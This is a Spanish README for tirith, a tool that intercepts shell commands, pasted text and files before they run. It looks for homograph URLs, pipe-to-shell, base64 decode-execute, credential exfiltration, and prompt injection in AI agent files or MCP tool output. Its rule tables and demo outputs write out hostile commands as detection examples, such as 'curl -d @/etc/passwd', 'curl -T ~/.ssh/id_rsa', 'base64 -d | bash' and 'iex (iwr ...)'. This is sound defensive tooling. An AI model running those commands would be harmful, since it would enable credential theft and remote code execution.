No puedes. Tampoco puede tu terminal. Ambos caracteres `і` son cirílicos (U+0456), no latinos `i`. La segunda URL redirige a un servidor atacante. El script se ejecuta antes de que te des cuenta.

Los navegadores resolvieron esto hace años. Las terminales aún renderizan Unicode, escapes ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar su contenido.

**Tirith se alza en la puerta.** Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, habilidades/configuraciones maliciosas de IA, y paquetes/dominios/IPs maliciosos conocidos de una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a `$SHELL` si es necesario). El flag explícito `--shell` solo se requiere cuando quieras anular la detección.

Eso es todo. Cada comando que ejecutes ahora está protegido. Cero fricción en entradas limpias. Sobrecarga de submilisegundos. Olvidas que está ahí hasta que te salva.

También disponible a través de [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) y [más](#install).

---

## Verlo funcionar

**Ataque homógrafo, bloqueado antes de la ejecución:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Advertencia imprime en stderr. El comando aún se ejecuta.

**Base64 decode-execute chain, bloqueada:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Cubre todas las banderas de carga de curl/wget, variables de entorno (`$AWS_SECRET_ACCESS_KEY`) y sustitución de comandos.

**Archivo de skill malicioso, detectado en el escaneo:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Nada. Salida cero. Olvidas que tirith está en ejecución.

---

## Lo que detecta

**221 reglas de detección en 34 categorías.**

| Categoría | Lo que bloquea |
|----------|--------------|
| **Ataques homográficos** | Suplantaciones cirílicas/griegas en nombres de host, dominios punycode, etiquetas de escritura mixta, TLDs suplantables, dominios confundibles, detección de confundibles a nivel de texto (alfanuméricos matemáticos, escritura mixta en la misma palabra) |
| **Inyección en terminal** | Secuencias de escape ANSI, anulaciones bidireccionales, caracteres de ancho cero, etiquetas unicode, operadores matemáticos invisibles, selectores de variación, caracteres de relleno Hangul |
| **Defensa contra esteganografía** | Codificación de espacios en blanco invisibles (12 variantes de espacio unicode), Separador de Vocal Mongol, caracteres de relleno Hangul, sustitución alfanumérica matemática, defensas contra esteganografía de texto al estilo st3gg |
| **Tubería a shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, cada patrón de origen a sumidero |
| **Decodificación Base64 y ejecución** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, cadenas de decodificación a través de envoltorios sudo/env |
| **Exfiltración de datos** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, subidas de variables de entorno (`$AWS_SECRET_ACCESS_KEY`), exfiltración por sustitución de comandos |
| **Escaneo de archivos de código** | Cargas útiles ofuscadas (`eval(atob(...))`), ejecución dinámica de código (`exec(b64decode(...))`), exfiltración de secretos mediante `fetch`/`requests.post` en archivos JS/Python |
| **Detección de credenciales** | Claves AWS, PATs de GitHub, tokens de Stripe/Slack/SendGrid/Anthropic/GCP/npm, bloques de claves privadas, más detección genérica de secretos basada en entropía |
| **Comportamiento posterior a la intrusión** | Raspado de memoria de procesos (`/proc/*/mem`), escalada de privilegios remota en Docker, barridos de archivos de credenciales, calibrado contra herramientas posteriores a la intrusión de TeamPCP y UNC1069 |
| **Seguridad de comandos** | Sobrescritura de dotfiles, extracción de archivos a rutas sensibles, acceso a puntos finales de metadatos en la nube, acceso a redes privadas |
| **Transporte inseguro** | HTTP plano enviado a shell, `curl -k`, verificación TLS deshabilitada, URLs acortadas que ocultan destinos |
| **Entorno** | Secuestro de proxy, exportaciones de entorno sensibles, inyección de código a través de entorno, secuestro de intérprete, inyección de shell a través de entorno |
| **Seguridad de archivos de configuración** | Inyección en configuraciones, indicadores sospechosos, unicode no ASCII/invisible en configuraciones, seguridad del servidor MCP (inseguro/no confiable/duplicado/permisivo) |
| **Amenazas del ecosistema** | Typosquats de clonación de Git, registros Docker no confiables, instalaciones pip/npm desde URLs, puntos finales RPC web3, vet-no-configurado |
| **Seguridad en comandos de instalación** | Repositorios APT añadidos desde una descarga canalizada, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (verificaciones de firma deshabilitadas), `kubectl apply -f` contra manifiestos remotos sin procesar/acortados, charts de Helm desde repositorios no confiables, módulos de Terraform desde fuentes remotas no confiables, `brew install`/`tap` desde URLs arbitrarias |
| **Análisis de rutas** | Rutas no ASCII, homoglifos en rutas, doble codificación |
| **Contenido renderizado** | Contenido CSS/color oculto, atributos HTML ocultos, análisis de contenido de comentarios (inyección de prompt en Alto, comandos destructivos en Medio) |
| **Detección de ocultación** | Ocultación del lado del servidor (bot vs navegador), contenido oculto en portapapeles, texto oculto en PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusiones de Windows Defender (`Add-MpPreference -Exclusion*`), `iex (iwr ...)` en línea para descarga-ejecución |
| **Defensa en salida de terminal** | Escrituras en portapapeles OSC 52, avisos falsos, enlaces OSC 8, manipulación de título / borrado de pantalla, inyección de prompt dentro de la salida de comandos o herramientas MCP (escaneado tanto en bruto como desofuscado, por lo que también se detectan caracteres invisibles, confundibles, espaciados, leetspeak y evasiones cortas en base64/hex), y exfiltración de datos de salida (URLs de baliza o directivas de "lee un secreto y luego envíalo") |
| **Contexto operativo** | Comandos destructivos contra contextos de nube / k8s etiquetados como producción y hosts SSH, `apply` de Terraform / Pulumi / OpenTofu sin un plan guardado coincidente, escalada sudo riesgosa, `docker run` privilegiado |
| **Estación de trabajo y persistencia** | Archivos de credenciales con permisos laxos y tokens en texto plano (`~/.ssh`, `~/.aws`, `.npmrc`), puntos de apoyo de persistencia (rc de shell, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` de git), orden de secuestro de PATH, procedencia de ejecutables, alias riesgosos y ciclo de vida de variables de entorno sensibles |
| **Radio de explosión y correlación** | Eliminaciones que escapan del repositorio, eliminaciones masivas, ejecución de archivos descargados desde fuentes riesgosas y cadenas de sesión como escritura de secreto seguida de red o eliminación seguida de `git push --force` |
| **Confianza, atestación y procedencia** | Desajuste de tarjeta de comando firmada, toques de honeytoken canary, desajuste de origen de pegado, denegaciones de política de origen de llamante (agente), desviación de lockfile MCP, y desviación de configuración de IA respecto a una instantánea segura conocida |

---

## Contra lo que tirith NO protege

Tirith analiza la **estructura** de comandos, texto pegado y archivos antes de
que se ejecuten. Es una puerta de pre-ejecución, no una defensa en tiempo de ejecución, y no cubre:

- **Aislamiento en tiempo de ejecución:** tirith advierte o bloquea; no aísla
  un comando una vez que se ejecuta.
- **Monitoreo de red posterior a la ejecución:** lo que un proceso hace en la red después
  del lanzamiento está fuera del alcance.
- **Detección de malware / cargas útiles:** tirith analiza estructura, no comportamiento
  de la carga útil. No es un antivirus y no detona ni compara firmas.
  (`tirith run` verifica la estructura de un script descargado, sigue sin ser análisis de malware).
- **Un atacante privilegiado (root/admin):** cualquier persona que ya sea root o admin puede
  eludir tirith trivialmente. Defiende contra entrada engañosa, no contra un atacante que ya
  posee la máquina.
- **Anti-depuración / anti-manipulación:** tirith no resiste la ingeniería inversa
  ni protege su propio binario de un atacante local.

Consulte [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) para el modelo de amenazas completo y
los no objetivos explícitos.

---

## Limitaciones conocidas

- **Fragilidad del hook de shell:** la protección depende de que un hook de shell permanezca instalado
  y activo. Los hooks pueden romperse o degradarse silenciosamente entre shells, versiones de shell,
  marcos de prompt y herramientas de historial. Ejecute `tirith doctor` para verificar el estado en vivo
  y observe la degradación solo con advertencia.
- **Funciones solo Unix:** el modo daemon, `tirith setup`, `tirith run` y
  `tirith fetch` son solo Unix hoy en día.
- **Alcance de extracción de nombres de paquetes:** cubre ecosistemas de lenguajes (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), no gestores de paquetes
  de distribución (`apt`, `dnf`, `yum`, `pacman`).
- **Advertencias para agentes de IA:** la intercepción del hook de shell solo protege comandos que pasan
  a través de un shell interactivo con hook. Un agente que genera un shell no interactivo,
  llama a `exec` directamente o se ejecuta sin el hook cargado no está cubierto.
  La protección MCP es de asesoramiento (el agente debe llamar a las herramientas MCP de tirith), no
  es obligatoria.

---

## Inteligencia de amenazas

Tirith incluye una base de datos de amenazas local firmada para reputación de paquetes, nombres de host y direcciones IP. Cuando un hook de shell o `tirith check` ve una instalación de paquete o referencia a infraestructura sospechosa, lo compara con la base de datos antes de que el comando se ejecute, en lugar de confiar solo en heurísticas estáticas.

**BD firmada** (generada diariamente por CI, verificada en descarga y carga):

- Paquetes maliciosos conocidos de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) y [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infraestructura IP maliciosa de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmados y líneas base de paquetes populares de [ecosyste.ms](https://ecosyste.ms/)
- Catálogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) para correlación de avisos en tiempo de ejecución

**Fuentes suplementarias opcionales** (superposición local del usuario):

- [URLhaus](https://urlhaus.abuse.ch/) y [ThreatFox](https://threatfox.abuse.ch/) mediante una clave de autenticación de abuse.ch
- Listas de bloqueo de [PhishTank](https://phishtank.org/) (Cisco Talos) y [Phishing Army](https://phishing.army/)
- Lista de nodos de salida Tor de [Tor Project](https://www.torproject.org/)

**Enriquecimiento en vivo opcional** durante `tirith check` y modo daemon:

- Consultas de avisos [OSV.dev](https://osv.dev/) (Google OSS)
- Señales de salud de paquetes [deps.dev](https://deps.dev/) (Google OSS) y datos de mantenedores de [ecosyste.ms](https://ecosyste.ms/)
- Reputación de URLs de [Google Safe Browsing](https://safebrowsing.google.com/) con su propia clave API```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**Sin conexión por defecto.** Sin indicadores, cada señal es local, sin llamada de red: (1) **nombre vs. paquetes populares**: conocido-popular, desconocido, o un error de un carácter cercano a un nombre popular (la forma clásica de typosquat/slopsquat), proveniente del conjunto `popular` de la base de datos de amenazas local; (2) **typosquat malicioso conocido**: una coincidencia exacta en el índice `typosquat` de la base de datos de amenazas; (3) **scripts de instalación / ciclo de vida** y (4) **binarios empaquetados**, detectados solo cuando el contenido del paquete está disponible localmente (en `node_modules` / `site-packages`, o mediante `--path`). tirith **nunca descarga** el paquete.

**`--online` añade procedencia del registro.** Consulta el registro del paquete (npm, PyPI o crates.io) para seis factores adicionales en el *mismo* modelo de suma de factores: antigüedad del paquete/versión, un paquete establecido sin propietarios, un pico anormal de versiones, descargas muy bajas, un repositorio fuente faltante y estado de yanked/obsoleto. Es la única ruta que toca la red (nunca la ruta crítica `check`); `--offline` / `TIRITH_OFFLINE` fuerzan el modo sin conexión independientemente. Los fallos vuelven a la puntuación sin conexión con un honesto `api signals: unavailable`, y las respuestas se almacenan en caché con un TTL para que las ejecuciones repetidas no golpeen los registros.

La puntuación es informativa e independiente: `package risk` no es una regla de detección y no cambia ningún veredicto, código de salida o registro de auditoría.

### Escaneo del ecosistema, firewall de la cadena de suministro

`tirith ecosystem scan [ruta]` es el complemento a nivel de directorio de `package risk`. Recorre un proyecto, descubre cada manifiesto de dependencias que entiende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`) y puntúa **cada dependencia declarada** con el mismo motor determinista de factores `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

### Detección de contenido oculto

Detecta contenido invisible para los humanos pero legible por IA en HTML, Markdown y PDF:

- **Ocultación CSS**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, posicionamiento fuera de pantalla
- **Ocultación por color**: texto blanco sobre blanco, primer plano/fondo similar (relación de contraste < 1.5:1)
- **Comentarios HTML/Markdown**: frases de inyección de prompt (Alto), comandos destructivos como `rm -rf` o `curl|bash` (Medio), comentarios largos que ocultan instrucciones (Bajo)
- **Texto oculto en PDF**: texto renderizado en subpíxeles (font-size < 1px) invisible para lectores pero analizable por LLMs

### Escaneo de contenido oculto en archivos relevantes para IA

`tirith scan` también inspecciona tipos de archivo que un agente de IA (o un renderizador) lee y sobre los que actúa, buscando contenido **contrabandeado más allá de un revisor humano**. Un notebook normal, un `CLAUDE.md` ordinario con instrucciones visibles y una imagen SVG simple quedan limpios; solo el contenido oculto / contrabandeado dispara una alerta.

- **Jupyter notebooks** (`*.ipynb`): caracteres invisibles / bidi / ancho cero en el código fuente de la celda, un blob codificado en base64 incrustado en el código fuente, una celda oculta de la vista renderizada (`metadata.jupyter.source_hidden` / una etiqueta `hide_input`), y *salidas* de celda que contienen caracteres invisibles o HTML activo / oculto
- **Archivos de instrucciones para agentes de IA** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules` y similares): solo *directivas ocultas*: una instrucción dentro de un comentario HTML (invisible en Markdown renderizado) o un elemento HTML visualmente oculto. Estos archivos legítimamente contienen instrucciones visibles, por lo que las instrucciones visibles ordinarias nunca disparan una alerta
- **Imágenes SVG** (`*.svg`): un `<script>` incrustado, un manejador de eventos `on*` en línea, un URI `javascript:`, un `xlink:href` / `href` remoto, o una declaración XXE de entidad externa

### Detección de cloaking

`tirith fetch` compara las respuestas del servidor en 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) para detectar cuándo los servidores entregan contenido diferente a los bots de IA vs los navegadores.

---

## Contexto operativo y protecciones del entorno de trabajo

Más allá de los comandos individuales, varios grupos de comandos extienden la barrera a tu contexto operativo y al estado de tu entorno de trabajo. Los que tocan la ruta crítica son opt-in (un flag de política); el resto se ejecutan bajo demanda.

**Contexto operativo** (`tirith context`, `ssh`, `iac`, `sudo`). Etiqueta una vez tus contextos de producción en la nube / Kubernetes y hosts SSH, y tirith escala lo que importa: un comando destructivo contra un contexto etiquetado como producción, un SSH a un host etiquetado como producción, un `apply` de Terraform / Pulumi / OpenTofu sin un plan guardado coincidente, o una escalada con sudo sin una ventana de sesión razonada. Las etiquetas residen en `~/.config/tirith/context-labels.yaml` y `ssh-host-labels.yaml` (o con ámbito de repositorio bajo `.tirith/`).

**Higiene del entorno de trabajo** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). Escanea archivos de credenciales con permisos demasiado abiertos y tokens en texto plano (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`), compara los puntos de apoyo de persistencia que usa un atacante (shell rc, `authorized_keys`, crontab, LaunchAgents / unidades systemd-user, git `core.hooksPath`), marca alias que ocultan comandos críticos o leen credenciales, audita `$PATH` en busca de orden de secuestro, e informa la procedencia de un binario (dueño del paquete, firma de código, si oculta un comando del sistema).

**Radio de explosión y aislamiento** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). Previsualiza el impacto en el sistema de archivos de un comando destructivo antes de ejecutarlo, compara lo que un comando cambió realmente después, ejecuta un comando no confiable en un directorio desechable, y rastrea archivos descargados de fuentes riesgosas para que ejecutar uno más tarde dispare una alerta. `temp-run` solo cambia el directorio de trabajo; es aislamiento de archivos, no una caja de arena.

## Confianza, atestación y respuesta a incidentes

- **Atestaciones de comandos** (`tirith command-card`) firma un comando conocido como seguro con una clave ed25519; una tarjeta de confianza que ya no coincide con el comando dispara una alerta Alta.
- **Manifiesto de comandos del repositorio** (`tirith commands`) es una lista blanca `.tirith/commands.yaml` que silencia la nota de comando desconocido para comandos autorizados y agrega una lista `dangerous[]` solo de elevación (puede endurecer un veredicto, nunca debilitarlo).
- **Honeytokens** (`tirith canary`) planta tokens señuelo claramente sintéticos; un toque en cualquier comando verificado, pegado o salida de herramienta dispara una alerta Alta. La detección es una búsqueda en el almacén local, no una coincidencia de forma.
- **Rotación de secretos** (`tirith secret`) lee hallazgos recientes de credenciales de tu registro de auditoría e imprime pasos específicos de rotación / revocación por proveedor para 11 proveedores. Nunca rota nada por sí mismo y no realiza llamadas de red.
- **Modo de incidente** (`tirith incident`) declara una postura "bajo ataque": fuerza `fail_mode: closed`, deshabilita la omisión `TIRITH=0`, y eleva las reglas de barrido de credenciales, decodificación-ejecución y binario sospechoso hasta que lo detengas.

## Seguridad en salida, pegado y uso compartido

- **Defensa de dirección de salida** (`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`) neutraliza escapes de engaño de terminal en la salida de comandos y herramientas MCP: escrituras de portapapeles OSC 52, prompts falsos, desajuste de hipervínculo OSC 8, y manipulación de título / limpieza de pantalla. También escanea la salida en busca de inyección de prompt (cruda y desofuscada) y balizas de exfiltración de datos. Agrega semillas personalizadas con `injection_seeds_custom`, y opta por redactar un bloque MCP solo de inyección a una advertencia (en lugar de bloquear toda la salida) con `mcp_redact_injection`.
- **Redacción consciente de la audiencia** (`tirith share`, `tirith redact`, `tirith logs`) elimina secretos e IDs de cliente / inquilino antes de pegar en un issue de GitHub, Slack, un LLM o un paste público.
- **Procedencia del pegado** (`tirith paste --with-source`, `tirith browser`). Con el host de mensajería nativa de Chrome complementario instalado, tirith atribuye un comando pegado a su página de origen y marca un pegado cuyo host de origen difiere de donde se ejecuta el comando.

---

## Instalación

### macOS

**Homebrew:**```bash
brew install tirith

**Fedora / RHEL / CentOS 9+ (.rpm):**

Descarga desde [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), luego:```bash
sudo dnf install ./tirith-*.rpm

**Nix:**```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

Luego activa el hook del shell en `~/.bashrc` (el shell predeterminado de Termux es bash):```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

**Chocolatey** (en moderación, pendiente de aprobación):```powershell
choco install tirith

**Cargo:**```bash
cargo install tirith

**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

### Activación

Añadir a tu perfil de shell (`.zshrc`, `.bashrc` o `config.fish`):```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

### Actualizando y verificando tirith

tirith puede verificar su propia integridad y actualizarse a sí mismo. Ambos comandos acceden a la red solo cuando los ejecutas.```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

### Integraciones de Agentes de IA

Utiliza `tirith setup <tool>` para configuración con un solo comando:```bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

También disponible como un **hook de pre-commit**: consulta `.pre-commit-hooks.yaml` en este repositorio.

Scan admite los filtros `--include`, `--exclude`, `--profile` (carga perfiles nombrados desde la política) y `--ignore` para escaneo dirigido en CI.

### Documentación de Reglas```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

Reescribe pipe-to-shell en download-review-run, elimina las banderas de TLS inseguro
(`-k` / `--insecure` / `--no-check-certificate`), y cambia `http://` plano
a `https://`. Para hallazgos sin reescritura mecánica segura (nombres de host homógrafos,
objetivos de extracción de archivos, …) lo indica claramente y muestra la
corrección en su lugar, nunca emite una sugerencia falsa. La bandera es orientativa:
no cambia ni el veredicto ni el código de salida.

### Daemon Mode (Unix)

Proceso opcional en segundo plano para latencia de submilisegundos y enriquecimiento consciente de la red (resolución de URLs acortadas, comprobaciones de listas de bloqueo DNS):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init` acepta `--template <name>` para una política de inicio seleccionada:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Usa `allowlist_rules` para supresiones con ámbito de regla cuando confíes en una fuente para una regla pero no quieras incluirla globalmente en la lista blanca:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

Cada entrada tiene un **alcance** clasificado como `exact`, `substring`, `domain`,
`wildcard` o `bare-TLD`. Un alcance amplio (`domain` / `wildcard` / `bare-TLD`)
requiere `--broad`, por lo que una admisión amplia es siempre una elección deliberada. Todos
los subcomandos soportan `--format json`. Los almacenes de confianza escritos por versiones anteriores de
tirith siguen funcionando sin cambios; una entrada sin TTL se considera permanente.

### Escalada y anulaciones de acciones

Las advertencias se rastrean por sesión. Si la misma regla se activa repetidamente, las reglas de escalada pueden actualizar a un bloque:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Al salir del shell, se imprime un resumen de una línea si se registraron advertencias durante la sesión.

Más ejemplos en [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).

### Reglas de detección personalizadas

Crea tus propias reglas en `.tirith/policy.yaml` bajo `custom_rules:`. Cada regla es ya sea un `pattern:` (regex) o un árbol de predicados semánticos `when:`, además de un `context:` (`exec`, `paste`, o `file`), un `severity:`, y un `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### Más controles de política

Otras claves de política, todas con valores predeterminados seguros (`tirith policy init` escribe el conjunto completamente comentado):

- `package_policy:` los umbrales convierten señales de la cadena de suministro en veredictos de bloqueo o advertencia (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` coinciden con el origen del llamante de un comando (`{ kind, name }`); una coincidencia `deny` fuerza un bloqueo. `scan.trusted_mcp_servers` y `scan.mcp_allowed_tools` aceptan servidores MCP específicos y herramientas por servidor.
- Guardas opt-in, desactivadas por defecto: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, más `iac_require_plan_before_apply`, `sudo_require_reason` y `allowed_install_domains`.

Los archivos `.tirith/policy.yaml` con ámbito de repositorio solo pueden endurecer, nunca debilitar: una política de repositorio que intente ampliar una lista de permitidos, reducir una severidad o deshabilitar una guarda es neutralizada, y `tirith policy effective` muestra qué campos fueron eliminados. Solo las políticas a nivel de usuario y de organización (`TIRITH_POLICY_ROOT`) pueden relajar un valor predeterminado.

### Modo de advertencia estricta

Con `strict_warn: true` (o `--strict-warn` en la CLI), los hallazgos de riesgo medio solicitan un reconocimiento explícito en terminales interactivas en lugar de advertir silenciosamente:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Este es un prefijo estándar por comando del shell; la variable existe solo para ese comando único y no persiste en tu sesión. Las organizaciones pueden deshabilitarlo por completo con `allow_bypass_env: false` en la política.

> [!CAUTION]
> `TIRITH=0` es por comando. No lo exportes en perfiles de shell, dotfiles ni configuración de CI; un bypass permanente anula todo el modelo de protección. Si recurres a él a menudo, añade la fuente de confianza a `allowlist` en tu archivo de política en su lugar.

---

## Manejo de datos

Registro de auditoría JSONL local en `~/.local/share/tirith/log.jsonl`:
- Marca de tiempo, ID de sesión, acción, IDs de reglas, vista previa de comando censurada
- Datos de detección sin procesar (`raw_action`, `raw_rule_ids`) conservados junto con la acción aplicada para auditoría de cobertura
- Estado de advertencia de sesión en `~/.local/state/tirith/sessions/`
- **Sin** comandos completos, variables de entorno ni contenidos de archivos

Deshabilitar: `export TIRITH_LOG=0`

---

## Documentación

- [Referencia de comandos](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): cada subcomando, agrupado por categoría
- [Modelo de amenazas](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md): qué defiende tirith y qué no
- [Recetario](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md): ejemplos de políticas para configuraciones comunes
- [Solución de problemas](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md): peculiaridades del shell, latencia, falsos positivos
- [Compatibilidad](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md): superficie estable frente a experimental
- [Política de seguridad](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md): reporte de vulnerabilidades
- [Desinstalación](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md): eliminación limpia por shell y gestor de paquetes

Guías de funcionalidades:

- [Gobernanza de agentes](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (atribución de origen del llamador y `agent_rules`)
- [Filtro de salida MCP](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (el contrato de puerta de enlace y saneamiento de salida MCP)
- [Modos doctor](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (completo vs `--quick`, y el esquema de instantánea JSON)
- [Perfiles LSP y de editor](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (diagnósticos en línea del editor)
- [Mensajería nativa del navegador](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (host de procedencia del portapapeles y extensión)
- [Procedencia del pegado](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (la regla `paste_source_mismatch`)
- [Formatos canario](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (formatos sintéticos de honeytoken)
- [Integración con el prompt](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (conectar `tirith prompt-status` en tu prompt del shell)

## Licencia

**La cobertura de seguridad principal se distribuye en el árbol de código abierto.** Las 221 reglas de detección y el servidor MCP están disponibles desde el código fuente. El repositorio aún contiene rutas de código heredadas de licencias y servidores de políticas, así que evita asumir que cada ruta de ejecución ya está libre de niveles.

tirith tiene doble licencia:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), gratuito bajo términos copyleft
- **Comercial**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), si las obligaciones copyleft de AGPL no funcionan para tu caso de uso, contacta a [email protected] para obtener una licencia alternativa

Atribuciones de datos de terceros en [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE).

## Historial de estrellas

[![Gráfico de historial de estrellas](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)](https://star-history.com/#sheeki03/tirith&Date)